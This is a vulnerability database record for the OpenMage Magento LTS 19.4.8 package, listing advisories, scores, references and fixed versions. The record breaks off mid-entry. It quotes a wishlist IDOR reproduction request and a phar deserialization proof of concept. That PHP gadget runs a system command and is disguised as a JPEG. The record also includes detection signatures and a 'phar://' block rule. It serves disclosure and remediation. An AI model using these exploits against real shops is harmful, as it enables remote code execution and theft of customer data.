Lookup for vulnerable packages by Package URL.

Purlpkg:composer/openmage/magento-lts@19.4.8
Typecomposer
Namespaceopenmage
Namemagento-lts
Version19.4.8
Qualifiers
Subpath
Is_vulnerabletrue
Next_non_vulnerable_version20.18.0
Latest_non_vulnerable_version21.0.0-beta1
Affected_by_vulnerabilities
0
url VCID-19kk-2s77-nuaa
vulnerability_id VCID-19kk-2s77-nuaa
summary
Magento's X-Original-Url header can expose admin url
The admin url can be discovered without prior knowledge of its location by exploiting the X-Original-Url header on some configurations.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-25523
reference_id
reference_type
scores
0
value 0.0001
scoring_system epss
scoring_elements 0.01176
published_at 2026-06-05T12:55:00Z
1
value 0.00011
scoring_system epss
scoring_elements 0.01403
published_at 2026-06-08T12:55:00Z
2
value 0.00011
scoring_system epss
scoring_elements 0.0141
published_at 2026-06-07T12:55:00Z
3
value 0.00011
scoring_system epss
scoring_elements 0.01409
published_at 2026-06-06T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-25523
1
reference_url https://github.com/OpenMage/magento-lts
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts
2
reference_url https://hackerone.com/bugs?subject=openmage&report_id=3416312
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-04T21:34:33Z/
url https://hackerone.com/bugs?subject=openmage&report_id=3416312
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-25523
reference_id CVE-2026-25523
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-25523
4
reference_url https://github.com/advisories/GHSA-jg68-vhv3-9r8f
reference_id GHSA-jg68-vhv3-9r8f
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-jg68-vhv3-9r8f
5
reference_url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-jg68-vhv3-9r8f
reference_id GHSA-jg68-vhv3-9r8f
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-04T21:34:33Z/
url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-jg68-vhv3-9r8f
fixed_packages
0
url pkg:composer/openmage/magento-lts@20.16.1
purl pkg:composer/openmage/magento-lts@20.16.1
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@20.16.1
1
url pkg:composer/openmage/magento-lts@21.0.0-beta1
purl pkg:composer/openmage/magento-lts@21.0.0-beta1
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@21.0.0-beta1
aliases CVE-2026-25523, GHSA-jg68-vhv3-9r8f
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-19kk-2s77-nuaa
1
url VCID-4tsg-n4v2-vyhg
vulnerability_id VCID-4tsg-n4v2-vyhg
summary
DoS vulnerability in MaliciousCode filter
### Impact
Infinite loop in malicious code filter in certain conditions.

### Workarounds

None
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2023-23617
reference_id
reference_type
scores
0
value 0.00274
scoring_system epss
scoring_elements 0.51012
published_at 2026-06-05T12:55:00Z
1
value 0.00274
scoring_system epss
scoring_elements 0.50967
published_at 2026-06-08T12:55:00Z
2
value 0.00274
scoring_system epss
scoring_elements 0.50997
published_at 2026-06-07T12:55:00Z
3
value 0.00274
scoring_system epss
scoring_elements 0.5095
published_at 2026-06-04T12:55:00Z
4
value 0.00274
scoring_system epss
scoring_elements 0.51017
published_at 2026-06-06T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2023-23617
1
reference_url https://github.com/OpenMage/magento-lts
reference_id
reference_type
scores
0
value 4.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts
2
reference_url https://github.com/OpenMage/magento-lts/commit/494027785bdb7db53e60c11ef03c144b61cd3172
reference_id
reference_type
scores
0
value 4.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-03-10T20:58:57Z/
url https://github.com/OpenMage/magento-lts/commit/494027785bdb7db53e60c11ef03c144b61cd3172
3
reference_url https://github.com/OpenMage/magento-lts/releases/tag/v19.4.22
reference_id
reference_type
scores
0
value 4.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-03-10T20:58:57Z/
url https://github.com/OpenMage/magento-lts/releases/tag/v19.4.22
4
reference_url https://github.com/OpenMage/magento-lts/releases/tag/v20.0.19
reference_id
reference_type
scores
0
value 4.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-03-10T20:58:57Z/
url https://github.com/OpenMage/magento-lts/releases/tag/v20.0.19
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2023-23617
reference_id
reference_type
scores
0
value 4.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2023-23617
6
reference_url https://github.com/advisories/GHSA-3p73-mm7v-4f6m
reference_id GHSA-3p73-mm7v-4f6m
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-3p73-mm7v-4f6m
7
reference_url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-3p73-mm7v-4f6m
reference_id GHSA-3p73-mm7v-4f6m
reference_type
scores
0
value 4.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-03-10T20:58:57Z/
url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-3p73-mm7v-4f6m
fixed_packages
0
url pkg:composer/openmage/magento-lts@19.4.22
purl pkg:composer/openmage/magento-lts@19.4.22
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-66qk-mhwg-tqcz
2
vulnerability VCID-7srh-wcuk-ryhg
3
vulnerability VCID-9axm-6vqd-tkag
4
vulnerability VCID-9ztp-ffqs-4yh4
5
vulnerability VCID-cbms-5g8f-wyg6
6
vulnerability VCID-dg5g-wnuf-ryad
7
vulnerability VCID-fken-twwj-gkaq
8
vulnerability VCID-h9n9-9mxj-zqd6
9
vulnerability VCID-jfan-uqf5-3qhd
10
vulnerability VCID-mdd4-wk6v-a3cw
11
vulnerability VCID-upex-64ca-uqbf
12
vulnerability VCID-xazc-hmj9-guas
13
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@19.4.22
1
url pkg:composer/openmage/magento-lts@20.0.19
purl pkg:composer/openmage/magento-lts@20.0.19
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-66qk-mhwg-tqcz
2
vulnerability VCID-7srh-wcuk-ryhg
3
vulnerability VCID-9axm-6vqd-tkag
4
vulnerability VCID-9ztp-ffqs-4yh4
5
vulnerability VCID-cbms-5g8f-wyg6
6
vulnerability VCID-dg5g-wnuf-ryad
7
vulnerability VCID-fken-twwj-gkaq
8
vulnerability VCID-h9n9-9mxj-zqd6
9
vulnerability VCID-jfan-uqf5-3qhd
10
vulnerability VCID-mdd4-wk6v-a3cw
11
vulnerability VCID-upex-64ca-uqbf
12
vulnerability VCID-xazc-hmj9-guas
13
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@20.0.19
aliases CVE-2023-23617, GHSA-3p73-mm7v-4f6m, GMS-2023-153
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-4tsg-n4v2-vyhg
2
url VCID-66qk-mhwg-tqcz
vulnerability_id VCID-66qk-mhwg-tqcz
summary
OpenMage LTS: Cross-user wishlist import leads to private option & file disclosure
# Cross-user wishlist item import via shared wishlist code, leading to private option disclosure and file-disclosure variant

## Summary

The shared wishlist add-to-cart endpoint authorizes access with a public `sharing_code`, but loads the acted-on wishlist item by a separate global `wishlist_item_id` and never verifies that the item belongs to the shared wishlist referenced by that code.

This lets an attacker use:

- a valid shared wishlist code for wishlist A
- a wishlist item ID belonging to victim wishlist B

to import victim item B into the attacker's cart through the shared wishlist flow for wishlist A.

Because the victim item's stored `buyRequest` is reused during cart import, the victim's private custom-option data is copied into the attacker's quote. If the product uses a file custom option, this can be elevated to cross-user file disclosure because the imported file metadata is preserved and the download endpoint is not ownership-bound.

## Vulnerability Type

- Broken object-level authorization / IDOR
- Cross-user data disclosure
- Cross-user file disclosure variant

## Root Cause

In `app/code/core/Mage/Wishlist/controllers/SharedController.php`, the shared flow does:

```php
$item = Mage::getModel('wishlist/item')->load($itemId);
$wishlist = Mage::getModel('wishlist/wishlist')->loadByCode($code);
...
$item->addToCart($cart);
```

Relevant lines:

- `SharedController.php:86` loads the wishlist item by global ID
- `SharedController.php:87` loads the wishlist by shared code
- `SharedController.php:99` imports the item into cart

There is no check that:

```php
$item->getWishlistId() == $wishlist->getId()
```

The safe owner flow in `app/code/core/Mage/Wishlist/controllers/IndexController.php:521-528` does preserve this binding by deriving the wishlist from `item->getWishlistId()`.

The imported item keeps its original `buyRequest` because `app/code/core/Mage/Wishlist/Model/Item.php:370-372` passes that stored request directly into:

```php
$cart->addProduct($product, $buyRequest);
```

## Security Impact

### Baseline impact

An attacker can import another user's private wishlist item into the attacker's own cart, using an unrelated shared wishlist code.

This is a clear cross-user authorization bypass. The victim item's private configuration is copied into the attacker's quote, including custom-option values such as personalized text.

### Stronger variant: cross-user file disclosure

If the victim item contains a custom option of type `file`, the imported quote item preserves file metadata such as:

- `quote_path`
- `order_path`
- `secret_key`

The file option renderer in `app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:547-552` generates a download URL from:

- the imported `sales/quote_item_option` ID
- the preserved `secret_key`

The downloader in `app/code/core/Mage/Sales/controllers/DownloadController.php:150-185`:

- loads quote item option by global ID
- verifies only product option type and `secret_key`
- reads the file from `order_path` or `quote_path`

It does not verify ownership of the quote item, order, or original wishlist item. This creates a cross-user file disclosure path once victim file metadata has been imported.

## Steps To Reproduce

### Lab data

- shared wishlist A:
  - `wishlist_id = 1`
  - `customer_id = 2`
  - `sharing_code = 6376bb8c37a09c2de3664bd8cdc16412`
- victim wishlist B:
  - `wishlist_id = 2`
  - `customer_id = 3`
- victim item:
  - `wishlist_item_id = 1`
  - `wishlist_id = 2`
  - `product_id = 2`
- victim private text option marker:
  - `VICTIM-MARKER-49040822`

### Reproduction

Send:

```http
GET /wishlist/shared/cart/?code=6376bb8c37a09c2de3664bd8cdc16412&item=1
```

Where:

- `code` belongs to shared wishlist A
- `item=1` belongs to victim wishlist B

### Expected result

The request should be rejected because the item does not belong to the shared wishlist referenced by the `sharing_code`.

### Actual result

The application imports victim item `1` into the attacker's quote anyway.

## Verified Evidence

### Baseline variant

Previously verified at quote/option level in lab:

```text
option_1 = VICTIM-MARKER-49040822
```

This shows that the attacker's cart received victim-private custom-option data from another user's wishlist item.

### File-disclosure variant

Previously verified in lab after importing a victim file-option payload:

```text
/sales/download/downloadCustomOption/id/9/key/86fca9b61c0b891b52fb/
```

This URL was generated from imported quote item option data containing the victim file metadata and secret key.

## Why This Is A Valid Bug

This is not a timing issue and does not depend on non-default security settings.

The bug is a direct authorization failure:

- authorization is based on wishlist A's share code
- the acted-on object is item B from another wishlist
- there is no item-to-wishlist binding check
- victim-controlled item state is then copied into attacker-controlled cart state

That is a broken object-level authorization issue with clear cross-user impact.

## Remediation

In `SharedController::cartAction()`, reject any request where the loaded item does not belong to the wishlist loaded from the share code:

```php
$item = Mage::getModel('wishlist/item')->load($itemId);
$wishlist = Mage::getModel('wishlist/wishlist')->loadByCode($code);

if (!$item->getId() || !$wishlist->getId() || (int) $item->getWishlistId() !== (int) $wishlist->getId()) {
    return $this->_forward('noRoute');
}
```

Defense in depth:

- bind `sales/download/downloadCustomOption` to the current quote/order owner instead of trusting only `id + secret_key`
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-40098
reference_id
reference_type
scores
0
value 0.0002
scoring_system epss
scoring_elements 0.05649
published_at 2026-06-08T12:55:00Z
1
value 0.0002
scoring_system epss
scoring_elements 0.0569
published_at 2026-06-07T12:55:00Z
2
value 0.0002
scoring_system epss
scoring_elements 0.05689
published_at 2026-06-06T12:55:00Z
3
value 0.0002
scoring_system epss
scoring_elements 0.05704
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-40098
1
reference_url https://github.com/OpenMage/magento-lts
reference_id
reference_type
scores
0
value 5.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
1
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts
2
reference_url https://github.com/OpenMage/magento-lts/pull/5446
reference_id
reference_type
scores
0
value 5.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
1
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts/pull/5446
3
reference_url https://github.com/OpenMage/magento-lts/releases/tag/v20.17.0
reference_id
reference_type
scores
0
value 5.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
1
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts/releases/tag/v20.17.0
4
reference_url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-665x-ppc4-685w
reference_id
reference_type
scores
0
value 5.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
3
value MODERATE
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-20T18:10:34Z/
url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-665x-ppc4-685w
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-40098
reference_id
reference_type
scores
0
value 5.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
1
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-40098
6
reference_url https://github.com/advisories/GHSA-665x-ppc4-685w
reference_id GHSA-665x-ppc4-685w
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-665x-ppc4-685w
fixed_packages
0
url pkg:composer/openmage/magento-lts@20.17.0
purl pkg:composer/openmage/magento-lts@20.17.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-upex-64ca-uqbf
1
vulnerability VCID-xazc-hmj9-guas
2
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@20.17.0
aliases CVE-2026-40098, GHSA-665x-ppc4-685w
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-66qk-mhwg-tqcz
3
url VCID-7srh-wcuk-ryhg
vulnerability_id VCID-7srh-wcuk-ryhg
summary
OpenMage LTS: Phar Deserialization leads to Remote Code Execution
PHP functions such as `getimagesize()`, `file_exists()`, and `is_readable()` can trigger deserialization when processing `phar://` stream wrapper paths. OpenMage LTS uses these functions with potentially controllable file paths during image validation and media handling. An attacker who can upload a malicious phar file (disguised as an image) and trigger one of these functions with a `phar://` path can achieve arbitrary code execution.

| Metric                   | Value     | Justification                                    |
| ------------------------ | --------- | ------------------------------------------------ |
| Attack Vector (AV)       | Network   | Exploitable via file upload and web requests     |
| Attack Complexity (AC)   | High      | Requires file upload + triggering phar:// access |
| Privileges Required (PR) | None      | Some upload vectors don't require authentication |
| User Interaction (UI)    | None      | Exploitation is automatic once triggered         |
| Scope (S)                | Unchanged | Impacts the vulnerable component                 |
| Confidentiality (C)      | High      | Full system access via RCE                       |
| Integrity (I)            | High      | Arbitrary code execution                         |
| Availability (A)         | High      | Complete system compromise possible              |

## Affected Products

- OpenMage LTS versions < 20.16.1
- All versions derived from Magento 1.x with these code paths

## Affected Files

| File                                                      | Line | Vulnerable Function                            |
| --------------------------------------------------------- | ---- | ---------------------------------------------- |
| `app/code/core/Mage/Core/Model/File/Validator/Image.php`  | 72   | `getimagesize($filePath)`                      |
| `app/code/core/Mage/Cms/Model/Wysiwyg/Images/Storage.php` | 137  | `getimagesize($item->getFilename())`           |
| `lib/Varien/Image.php`                                    | 71   | `$this->_getAdapter()->open($this->_fileName)` |

## Vulnerability Details

PHP's phar (PHP Archive) format stores metadata that is serialized. When PHP's stream wrapper functions access a file using the `phar://` protocol, the metadata is automatically deserialized. This occurs even with seemingly safe functions like `file_exists()` or `getimagesize()`.

A polyglot file can be crafted that is both a valid image (passing initial validation) and a valid phar archive containing malicious serialized objects. When the application later processes this file using `phar://`, the deserialization triggers a gadget chain leading to RCE.

### Attack Flow

1. **Create polyglot file**: Attacker creates a file that is both valid JPEG and valid PHAR
2. **Upload file**: Attacker uploads the polyglot via product images, CMS media, or import
3. **Trigger phar:// access**: Attacker causes the application to access the file using `phar://` wrapper
4. **Code execution**: PHAR metadata deserialization triggers gadget chain

### Proof of Concept

```php
<?php
// Create malicious phar file
class ExploitGadget {
    public $cmd = 'id > /tmp/pwned';
    function __destruct() {
        system($this->cmd);
    }
}

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata(new ExploitGadget());
$phar->stopBuffering();

// Rename to appear as image
rename('exploit.phar', 'exploit.jpg');

// When getimagesize('phar://path/to/exploit.jpg') is called,
// the ExploitGadget::__destruct() method executes
```

## Remediation

Block `phar://` paths before passing to vulnerable functions:

```php
// Before (vulnerable)
[$imageWidth, $imageHeight, $fileType] = getimagesize($filePath);

// After (fixed)
if (str_starts_with($filePath, 'phar://')) {
    throw new Exception('Invalid image path.');
}
[$imageWidth, $imageHeight, $fileType] = getimagesize($filePath);
```

Additionally, ICO files (which cannot be re-encoded by GD) are now scanned for phar signatures:

- `__HALT_COMPILER();` - Required phar stub
- `<?php` - PHP opening tag
- `<?=` - PHP short echo tag

Additional hardening measures:

1. **ICO uploads removed**: ICO file support is completely removed from new image uploads. This eliminates the polyglot attack vector entirely since all other image formats are re-encoded by GD, which strips any embedded phar metadata.

2. **Phar wrapper disabled**: The `phar://` stream wrapper is unregistered at application bootstrap, preventing any phar deserialization attacks regardless of code path.

3. **Cache deserialization hardening**: All `unserialize()` calls on cached data now use `allowed_classes => false` as defense-in-depth.

**Note:** Existing uploaded ICO files will continue to work. Only new ICO uploads will be rejected. Users are encouraged to use PNG favicons for new uploads.

## Workarounds

If immediate upgrade is not possible:

1. **Disable phar stream wrapper** (if not needed):

   ```ini
   ; php.ini
   disable_functions = phar://
   ```

   Or in code:

   ```php
   stream_wrapper_unregister('phar');
   ```

2. **Strict upload validation**: Implement additional validation beyond file extension

3. **File storage isolation**: Store uploads outside web root with randomized names

4. **Web Application Firewall**: Block requests containing `phar://` in parameters


## Credit

This vulnerability was discovered and responsibly disclosed by [blackhat2013](https://hackerone.com/blackhat2013) through HackerOne.

## Timeline

- **2025-12-31**: Vulnerability reported via HackerOne
- **2026-01-21**: Fix developed and tested

Source: https://hackerone.com/reports/3482926
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-25524
reference_id
reference_type
scores
0
value 0.00389
scoring_system epss
scoring_elements 0.60352
published_at 2026-06-05T12:55:00Z
1
value 0.00389
scoring_system epss
scoring_elements 0.60325
published_at 2026-06-08T12:55:00Z
2
value 0.00389
scoring_system epss
scoring_elements 0.60342
published_at 2026-06-07T12:55:00Z
3
value 0.00389
scoring_system epss
scoring_elements 0.60354
published_at 2026-06-06T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-25524
1
reference_url https://github.com/OpenMage/magento-lts
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts
2
reference_url https://github.com/OpenMage/magento-lts/releases/tag/v20.17.0
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-04-20T16:44:41Z/
url https://github.com/OpenMage/magento-lts/releases/tag/v20.17.0
3
reference_url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-fg79-cr9c-7369
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-04-20T16:44:41Z/
url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-fg79-cr9c-7369
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-25524
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-25524
5
reference_url https://github.com/advisories/GHSA-fg79-cr9c-7369
reference_id GHSA-fg79-cr9c-7369
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-fg79-cr9c-7369
fixed_packages
0
url pkg:composer/openmage/magento-lts@20.17.0
purl pkg:composer/openmage/magento-lts@20.17.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-upex-64ca-uqbf
1
vulnerability VCID-xazc-hmj9-guas
2
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@20.17.0
aliases CVE-2026-25524, GHSA-fg79-cr9c-7369
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-7srh-wcuk-ryhg
4
url VCID-9axm-6vqd-tkag
vulnerability_id VCID-9axm-6vqd-tkag
summary
Magento LTS vulnerable to stored XSS in theme config fields
As reported by [Aakash Adhikari](https://hackerone.com/dark_haxor), Github: @justlife4x4, the Design > Themes > Skin (Images / CSS) config field allows a Stored XSS when it contains an end script tag.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-27400
reference_id
reference_type
scores
0
value 0.00198
scoring_system epss
scoring_elements 0.41763
published_at 2026-06-08T12:55:00Z
1
value 0.00198
scoring_system epss
scoring_elements 0.41797
published_at 2026-06-07T12:55:00Z
2
value 0.00198
scoring_system epss
scoring_elements 0.41827
published_at 2026-06-06T12:55:00Z
3
value 0.00198
scoring_system epss
scoring_elements 0.41817
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-27400
1
reference_url https://github.com/OpenMage/magento-lts
reference_id
reference_type
scores
0
value 2.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:A/AC:H/PR:H/UI:R/S:U/C:N/I:L/A:L
1
value LOW
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts
2
reference_url https://github.com/OpenMage/magento-lts/commit/d307e5bf75729a2347dde0952fe9fd9fcd9c6aea
reference_id
reference_type
scores
0
value 2.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:A/AC:H/PR:H/UI:R/S:U/C:N/I:L/A:L
1
value LOW
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-02-28T15:41:48Z/
url https://github.com/OpenMage/magento-lts/commit/d307e5bf75729a2347dde0952fe9fd9fcd9c6aea
3
reference_url https://github.com/OpenMage/magento-lts/releases/tag/v20.12.3
reference_id
reference_type
scores
0
value 2.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:A/AC:H/PR:H/UI:R/S:U/C:N/I:L/A:L
1
value LOW
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-02-28T15:41:48Z/
url https://github.com/OpenMage/magento-lts/releases/tag/v20.12.3
4
reference_url https://github.com/OpenMage/magento-lts/releases/tag/v20.13.0
reference_id
reference_type
scores
0
value 2.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:A/AC:H/PR:H/UI:R/S:U/C:N/I:L/A:L
1
value LOW
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-02-28T15:41:48Z/
url https://github.com/OpenMage/magento-lts/releases/tag/v20.13.0
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-27400
reference_id CVE-2025-27400
reference_type
scores
0
value 2.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:A/AC:H/PR:H/UI:R/S:U/C:N/I:L/A:L
1
value LOW
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-27400
6
reference_url https://github.com/advisories/GHSA-5pxh-89cx-4668
reference_id GHSA-5pxh-89cx-4668
reference_type
scores
url https://github.com/advisories/GHSA-5pxh-89cx-4668
7
reference_url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-5pxh-89cx-4668
reference_id GHSA-5pxh-89cx-4668
reference_type
scores
0
value 2.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:A/AC:H/PR:H/UI:R/S:U/C:N/I:L/A:L
1
value LOW
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-02-28T15:41:48Z/
url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-5pxh-89cx-4668
fixed_packages
0
